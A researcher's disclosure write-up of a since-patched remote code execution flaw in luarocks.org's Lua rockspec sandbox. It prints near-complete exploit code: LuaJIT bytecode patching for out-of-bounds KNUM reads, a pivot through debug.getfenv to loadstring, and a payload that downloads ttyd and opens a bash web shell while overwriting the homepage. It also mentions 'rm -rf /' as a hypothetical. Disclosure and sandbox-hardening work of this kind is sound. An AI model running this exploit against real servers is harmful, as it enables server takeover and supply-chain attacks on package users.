Today I am going to do a technical writeup like I’ve never done before:
about an incredibly dangerous remote code execution vulnerability,
allowing anybody to take over the entirety of
luarocks.org — a massive repository of Lua packages,
with the most downloaded package sitting at 24 million downloads.
Exploit requirements: A regular user account. Outcome: root access on the server.
This could have been one of the most dangerous supply chain attacks in ages if someone had discovered this
earlier. Lua is used and embedded in a multitude of software projects, it is the scripting language most people
use. Malware embedded in a package like lua-cjson would spread like wildfire and would be hard to quench.
This post is dedicated to explaining the exploit in meticulous detail, so that by the end even your grandma could infect millions of machines and incur huge damage on a language ecosystem.
Reconnaissance
I became interested in the security of luarocks.org primarily because I am very active in writing Lua
tooling myself. I had dabbled with sophisticated Lua sandboxing earlier in lux
to ensure that untrusted scripts cannot wreak havoc on a user’s machine.
Back then I learnt very quickly that sandboxing Lua is incredibly hard, but just how hard remained to be seen.
That is why lux uses a custom-built Lua interpreter built from the ground up
for the purpose of denying untrusted scripts access to dangerous functions like os.execute or io.popen.
After finalizing the implementation,
I stopped thinking about Lua sandboxing for a while and went to work on other things. However, my interest in
security piqued again when working on a side project: luanox, a different module hosting site
for Lua packages just like luarocks.org, but built with Elixir instead.
It was here where the fun began.
The Lightbulb Moment
In order to upload a package to any lua module hosting site, you need to first write a rockspec: a short Lua script that provides details about the package: its name, its version, how to build it, etc. Here’s an example:
package = "lua-cjson"
version = "2.1.0.10-1"
source = {
url = "git+https://github.com/openresty/lua-cjson",
tag = "2.1.0.10",
}
description = {
summary = "A fast JSON encoding/parsing module",
license = "MIT"
}
dependencies = {
"lua >= 5.1"
}
build = {
type = "builtin",
modules = {
cjson = {
sources = { "lua_cjson.c", "strbuf.c", "fpconv.c" },
}
},
}
The problem is that Lua is a fully fledged scripting language — it can run system commands, edit files,
do anything your system can. What’s stopping me from doing package = os.execute("sudo rm -rf / --no-preserve-root")?
The obvious thing to do is to deny the script access to all dangerous functions. After all,
if you can’t run os.execute(), you can’t execute a system command, right?
The way this is done is with setfenv(func, { ... }). A function’s environment is essentially what the function “sees”
in its scope. If you set func’s environment to a whitelist of “allowed” functions then it won’t be able to call
anything else!
However, it’s common knowledge that there are some tricky ways of pivoting from trusted functions to other, untrusted ones, meaning
setfenv() isn’t enough for proper protection.
When writing luanox, and knowing how tricky Lua sandboxing is from prior experience, I instinctively went crazy with the security implementation:
- Dedicated Lua interpreter built for sandboxing: https://luerl.org/
- Completely empty rockspec environment, not a single usable function to be seen.
- Rockspec validation code running on a separate docker container, isolated from everything, only returning an “OK”/“ERR” response, ensuring that no data can be leaked out of the container.
- Time limits on code execution to make sure it doesn’t run too long and cause a denial of service.
“Whew”, I thought to myself, “a job well done.” And then a little thought caught me and wouldn’t let go. An unshakeable thought, almost a bit mischievous, driven by the feeling of wanting to be better than the others…
Does luarocks.org do its sandboxing as well as I do?
The Discovery
Let’s have a look at their source code. luarocks.org is itself written in Lua. Here it is:
-- NOTE: this takes untrusted input, so be very strict about parsing
-- prefer failing instead of fixing inputs
parse_rockspec = function(text)
local fn = loadstring(text)
if not fn then
return nil, "Failed to parse rockspec"
end
local spec = {}
setfenv(fn, spec)
-- disable jit otherwise the offending code might be compiled and stop
-- sending debug events
if jit then
jit.off(fn)
end
local co = coroutine.create(fn)
local lines = 0
local check = function()
lines = lines + 1
if lines > 2000 then
if jit then
-- remove the global hook set by luajit
debug.sethook()
end
error("too many lines evaluated")
end
end
debug.sethook(co, check, "l")
pcall(function()
assert(coroutine.resume(co))
end)
--- ...
end
There is one thing that is very concerning with this sandbox — the code is not isolated in a different Lua worker or put in a separate container. So, theoretically, if someone broke out, they’d have the same privilege level as the entire website…
Apart from that concern, contrary to what you might expect, this is an excellent implementation of a sandbox. Let’s break it down step by step:
- Load the rockspec as a Lua chunk.
- Clear its environment — meaning no functions and no globals available at all, not even a
type()function. - Disable JIT compilation — very smart, also prevents JIT-spray attacks, meaning we’re out of luck there.
- Set up a debug hook that prevents the script for running for more than 2000 lines — preventing a denial of service.
So we’re out of luck. There’s no chance that you could supply any Lua code here that does anything malicious. Lua is flexible, but it’s not flexible enough to break the fabric of spacetime. Wait a second. HANG ON A MINUTE.
JARVIS, ENHANCE.
parse_rockspec = function(text)
local fn = loadstring(text)
if not fn then
return nil, "Failed to parse rockspec"
end
local spec = {}
setfenv(fn, spec)
I SAID ENHANCE
local fn = loadstring(text)
Ladies and gentlemen, we got em.
The Exploit Root
So we know that luarocks.org uses loadstring() to load the rockspec into memory and execute it.
This is the standard Lua way of loading strings. So what’s wrong? Well, loadstring() hides a very dark secret.
From the documentation of loadstring():
Similar to load, but gets the chunk from the given string.
From the documentation of load():
Loads a chunk using function func to get its pieces. […]
Doesn’t sound like there’s much we could exploit here. But there’s constant talk of this “chunk” thing. What is a chunk?
The unit of execution of Lua is called a chunk. A chunk is simply a sequence of statements, which are executed sequentially. […] Chunks can also be pre-compiled into binary form; see program luac for details. Programs in source and compiled forms are interchangeable; Lua automatically detects the file type and acts accordingly.
Bingo. loadstring() does more than just loading Lua code — it can load bytecode too. Here’s a snippet from LuaJIT’s website,
specifically the FAQ section:
Relatedly, loading untrusted bytecode is not safe! It’s trivial to crash the Lua or LuaJIT VM with maliciously crafted bytecode. This is well known and there’s no bytecode verification on purpose, so please don’t report a bug about it.
Idea 1: Reuse an Existing Exploit
There’s already multiple bytecode exploits, so we could just use them, right?
Unfortunately, we’re working in a different environment than usual. First of
all, most exploits are not concerned with sandbox escapes — they use various
functions like collectgarbage() or others which we simply do not have access
to. The Corsix exploit would’ve worked perfectly… except we’re not working
with regular Luajit. We’re working the OpenResty fork of Luajit with
LJ_GC64=1, i.e. 64-bit addressing in garbage collected objects. Corsix’s
exploit only works with LJ_GC64=0, because it allows them to overwrite memory
addresses easier.
Given that I could find no working exploit I went ahead and decided to make my own.
Needle in a Hayheap
Here’s the plan of action:
- Maliciously overwrite a bytecode instruction to read out-of-bounds memory.
- Convince Lua that the out-of-bounds memory we read is a valid Lua object.
- Check if the object we read from memory is a table.
- Check if the table contains any valuable functions (specifically a
debugtable). - Use the functions from
debugto then escape out into the wild.
We need to do all of these incredibly delicate steps without crashing the program even once, or else we would harm the site.
The short of it is: we’re doing a delicate object reuse to pivot out of our restricted environment and to eventually obtain arbitrary code execution.
KNUM
The instruction we’ll abuse is KNUM. When you compile a Lua script into bytecode, it creates a structure that looks like this:

Each constant object that you create inside your Lua script gets thrown into the untouchable constants section.
Bytecode can then fetch data from there using certain K* instructions (KSTR, KNUM etc.).
Whenever you write something like:
local number = 3.5
It gets translated into the following bytecode:
0001 KNUM 0 0
0002 RET0 0 1
So, where did our 3.5 go? It landed precisely in the numerical constants section.
KNUM 0 0 says “load into register 0 the numerical constant at index 0”.
Now, if you were look at the luajit source code, you’d see that KNUM is implemented in assembly (specifically DynASM):
case BC_KNUM:
| ins_AD // RA = dst, RD = num const
| movsd xmm0, qword [KBASE+RD*8]
| movsd qword [BASE+RA*8], xmm0
| ins_next
break;
More interestingly, there are absolutely no boundary checks on RD in the
surrounding code. RD is a value we entirely control, it’s the value which decides how
far we should read into the constants table (the second number in KNUM 0 0).
Look back at the diagram at the start of this section — notice how the constants sit at the very end?
If we were to set RD to an outlandish value like 100, KNUM would happily read way past our memory space
and grab whatever 8 bytes live at offset 800 and store them in our register…
And what lives outside of our memory? The rest of the heap, meaning all other objects that we could use for a pivot.
TValues
The reason KNUM works is because of TValues.
A TValue (Tagged Value) is an incredibly clever way that Luajit represents data. It works by storing complex data inside of the following format:
bit63 ... bit51 | bit50..47 | bit46 ................. bit0
1..1 (NaN) | itype | GC pointer / int
It basically hides data in a float by setting the high NaN bits and embedding the payload in the lower bits. This lets it store numbers regularly while packing complex data (like a table or function) inside the floats by marking them as NaN and storing the payload in the lower bits which are often ignored.
The itype marker gives us the type of data we’re dealing with — a table, a function, etc. The payload
is a pointer to a GC allocated object. This means that TValues act as references to data, they don’t
store the actual data themselves1.
In a normal world, when KNUM fetches a value from memory, it fetches a regular float object (a number
from the constants table). However, nobody says this has to be the case.
This exploit hinges on the fact that KNUM can load any TValue, even if it’s not a number.
After all, it just copies 8 bytes, and if the 8 bytes happen to contain a reference to an object, like a Lua table, we win :)
Memory Layout
Unfortunately, KNUM can only read forward from KBASE. KBASE is the base
pointer for the numeric constants table. Even more unfortunately, all of
the juicy objects like _G, cfunctions, os.execute etc. live behind
KBASE, because they were allocated earlier.

This is the part I spent the longest — two weeks — trying to figure out a way of reading backwards. Unfortunately, every time you upload a new package the memory layout gets tweaked enough to completely throw off any useful calculations.
What I failed to realize in all that time is that we don’t have to look for GC objects behind us, but rather TValues in front of us. As I said, TValues contain a reference to a GC object, and it turns out that’s enough to fool luajit!
And it also just so happens that there is one very useful TValue that is often allocated in front of KBASE: package.loaded.
Finding package.loaded
package.loaded is a Lua table works sort of like a cache. Whenever you call
require("something"), Lua does package.loaded["something"] = require("something"). That way, when you call require again, Lua can simply
look up the cached
response.
This means that every important function, every table, everything is stored in there.
So, let’s go looking for this mythical table! To do this, we need to craft our first payload.
The First Payload
Here’s the first payload we’ll deploy. Please read the comments for proper explanations:
-- Package metadata that's required for the upload to complete. We need this so
-- that we can read off the package's description field later to figure out if
-- we succeeded.
package = "x3536996"
version = "1.0-1"
description = {
detailed = "",
}
-- A value that will store our out-of-bounds bytes
local current_oob_read
-- A list with references to all tables that we find in memory.
local hits = {}
-- The out-of-bounds read itself. We do `current_oob_read = 0.5` because
-- that generates `KNUM` instructions. `= 0` would generate `KSHORT` instead.
-- These instructions will later have their RD values patched to read out of
-- bounds, and the results of those reads will be stored in `current_oob_read`.
current_oob_read = 0.5
-- This will be explained later. Comparisons like `== false` produce `ISNEP`
-- instructions. We can then patch ISNEP to compare `current_oob_read` to a table.
-- Here we're basically asking, "is current_oob_read a table?"
if current_oob_read == false then
-- If we've found a table object, store it!
hits[#hits + 1] = current_oob_read
end
-- Each repetition is patched to read n+1 further into memory, which is why
-- the same instructions keep getting duplicated.
current_oob_read = 0.5
if current_oob_read == false then
hits[#hits + 1] = current_oob_read
end
current_oob_read = 0.5
if current_oob_read == false then
hits[#hits + 1] = current_oob_read
end
-- ... this is repeated hundreds of times
for i = 1, #hits do
local hit = hits[i]
-- Check if the table we've hit has a "debug" object.
local maybe_debug_table = hit["debug"]
-- The same bytecode patching will be done here: if `hit.debug` is a table,
-- that means we've found `package.loaded`!
if maybe_debug_table == false then
-- Since we've found it, change the package description. That way we'll
-- be able to read it off in the module page on the website.
description.detailed = "x"
end
end
Wow, this looks alien. How does this work? We don’t actually upload this Lua script to luarocks, we
compile it into bytecode first, then patch the bytecode by altering the instructions’ byte representations,
and then we upload the modified bytecode to luarocks.org, which it happily loads and executes.
The reason we do this patching is to produce code that is not physically achievable with regular Lua syntax.
The two parts we patch are the KNUM and ISNEP instructions. What is going on with ISNEP? It means Is Not Equal to Primitive.
Here’s the bytecode output of if maybe_debug_table == false:
0002 ISNEP 0 1
0003 JMP 0 => 0004
Here, 0 is the register ID we’re comparing, 1 is what we’re comparing it to. That means that 1 means “false”.
What they don’t tell you is that 8 means “function” and 11 means “table”!
So when we run the bytecode through the patching script, if we patch each
ISNEP _, 1 to ISNEP _, 11, we turn it into table comparisons. That allows us to scan long memory regions
and gracefully ignore all data that is not a table and is unimportant to us.
I will not be running through the patching code here, but you can find it on the proof-of-concept repository right here.
Uploading it to a local docker version of luarocks-site gives us the mythical x, meaning we have successfully
found package.loaded!

Cleaning Up
Now that we have access to a table full of functions, it’s about time we do
something about it and escape this prison we’ve been put in. There’s a little
detail I never touched upon: if we want true remote code execution, we need to
be able to execute arbitrary Lua code outside of the sandbox. To do that, we
need access to the very same loadstring() function that we used to exploit luarocks.
However, loadstring() isn’t available in package.loaded2, so we need one more pivot to escape.
We’re going to exploit the behaviour of debug.getfenv() to achieve this.
By default, debug.getfenv(f) returns the environment for a given function f, like the inverse of setfenv.
But, Lua distinguishes two types of functions: Lua functions and C functions (written from C, but callable from Lua).
The catch is that a C function’s environment is the global environment — every single function and global, since
C functions have zero restrictions.
It just so happens that debug.getfenv is itself a C function. Therefore calling debug.getfenv(debug.getfenv)
gives us the full _G table. From there we can access _G.loadstring("any lua code here!").
The Full Exploit
Here is the culmination of all of the work we put in to escape the luarocks sandbox and achieve full code execution as root on the target machine:
-- Necessary metadata for the package to be accepted by luarocks-site.
-- NOTE: The length of the package name affects how far into memory we are offset, and
-- therefore how far into memory we can read.
package = "%s"
version = "1.0-1"
description = {
summary = "A working RCE proof-of-concept for luarocks-site.",
detailed = "",
}
-- A number containing 8 bytes of out-of-bounds memory
local current_oob_read
-- A list of out-of-bounds table objects
local hits = {}
-- The Lua payload that will run outside of the sandbox
local payload = [==[%s]==]
-- Out of bounds reads happen here.
-- They are of the following form:
-- current_oob_read = 0.5
-- if current_oob_read == false then
-- hits[#hits + 1] = current_oob_read
-- end
--
-- This is copy+pasted multiple times for some number of indices. The reason we
-- have the `0.5` float is because then luajit generates a `KNUM` instruction
-- instead of a `KSHORT`. `KNUM` specifically has no bounds checking and is the
-- instruction we want to patch to read up to half a megabyte forward in
-- memory. Patching is done in `exploit.lua`.
%s
-- After the above code completes, `hits` becomes populated with a list of tables
-- present in the out-of-bounds section of luajit's heap.
-- `KNUM` is an instruction that loads a *numerical* value, so how does it load tables?
-- Under the hood, `KNUM` simply copies 8 bytes of data into a register. It does no type checking.
-- If these 8 bytes of data happen to be a reference to a table object, then it loads a table :D
-- Loop over all of the hits (we have no access to `ipairs` or `pairs` in the sandbox)
for i = 1, #hits do
-- Why are we looking for tables in out-of-bounds memory? We're
-- specifically looking for the `package.loaded` table, as it contains
-- references to all important functions. The rest of the code performs the
-- right checks to verify if the table we have loaded is an environment
-- table. However, remember, `hits` is only a list of numbers, so we have
-- to probe the table to see if it has anything useful.
-- To execute regular shell code, we could simply run the equivalent of `hit.os.execute("evil bash here")`,
-- however we want *full* Lua execution outside of the sandbox. However, `package.loaded` does not contain
-- `loadstring` - the critical function for executing random Lua code.
-- Therefore, we use a trick: `debug.getfenv(f)`. It normally returns a table of values that the
-- function `f` can "see", which is fairly useless. However, if `f` is a *cfunction*, then it returns
-- the entire global environment: `_G`. Bingo!
local hit = hits[i]
local maybe_debug_table = hit["debug"]
-- This comparison produces an ISNEP instruction, which allows us to
-- perform type checking without having access to the `type()` function.
-- However, we don't want to compare to a boolean, so we patch the ISNEP
-- operands to compare to a table object and a function object. Every time
-- we compare to false, the patching script will make this comparison check
-- if the value is a table. Every time we compare to true, we're checking
-- if the value is a function object.
--
-- We need to exploit ISNEP, otherwise accessing a table key from a
-- non-table object errors the program. We need silent failure to be able
-- to scan a large segment of memory.
if maybe_debug_table == false then
local maybe_getfenv = maybe_debug_table["getfenv"]
if maybe_getfenv == true then
-- Since `debug.getfenv` is a cfunction, we can pass it into itself (as explained earlier)
-- to retrieve the global environment.
local global_env = maybe_getfenv(maybe_getfenv)
if global_env == false then
local loadstring = global_env["loadstring"]
if loadstring == true then
local exploit_func = loadstring(payload)
-- We really want to ensure we never crash, so triple check
-- `exploit_func` is valid.
if exploit_func then
exploit_func()
end
-- We've successfully executed the payload. Our script uses the
-- package description to figure out if it should stop sending retry
-- attempts.
description.detailed = "x"
end
end
end
end
end
With this, we can now run absolutely any Lua code we wish and do anything we want! In my case, I have a hacky payload that overwrites the main
site’s homepage with a ttyd instance:
os.execute(
"curl -L https://github.com/tsl0922/ttyd/releases/latest/download/ttyd.x86_64 -o /tmp/ttyd && chmod +x /tmp/ttyd")
os.execute("/tmp/ttyd -p 7681 -W /bin/bash &")
local f = assert(io.open("/site/luarocks.org/views/index.lua", "w"))
f:write([=[
local Widget = require("lapis.html").Widget
return Widget:extend("Shell", {
content = function(self)
raw [[<iframe src="http://localhost:7681" style="width:100%;height:100vh;border:0"></iframe>]]
end
})
]=])
f:close()
After running this through our bytecode patcher and uploading it to a local docker of luarocks-site, we get the following legendary result:

Conclusion
Don’t trust your Lua sandbox, kids. Use a special interpreter. Put the logic in a separate container. After you do all of that, pray that the guy who inevitably breaks your sandbox is a security researcher.
Or, hear me out, maybe don’t use a programming language for simple configuration…? Food for thought :)
The exploit has been patched as of September 26th, 2026. You can find the proof of concept to run yourself right here, as well as luarocks.org’s security incident page here.
As always, blog posts make such exploits look easy. In reality, I had to fail 99 times over the span of a month before the 100th attempt worked. If you really like this blog post and all of the work I put into the research and the writeups and are feeling generous, please consider a one-time donation on Github or supporting the Lumen Labs OpenCollective, thank you!💜
Footnotes
-
They do, but in simple cases. Anything that is representable in those few bits (like KSHORTs) will just get embedded, but you obviously can’t fit an arbitrarily sized table in 47 bits! ↩
-
In theory it is:
package.loaded._G.loadstring. However, this is not guaranteed in any Lua version other than Lua 5.2 (which we’re not using). In my testing on the docker container it exists and therefore simplifies the exploit, but I’d rather not hinge on it because I can’t verify if it’s consistent across deployments :) ↩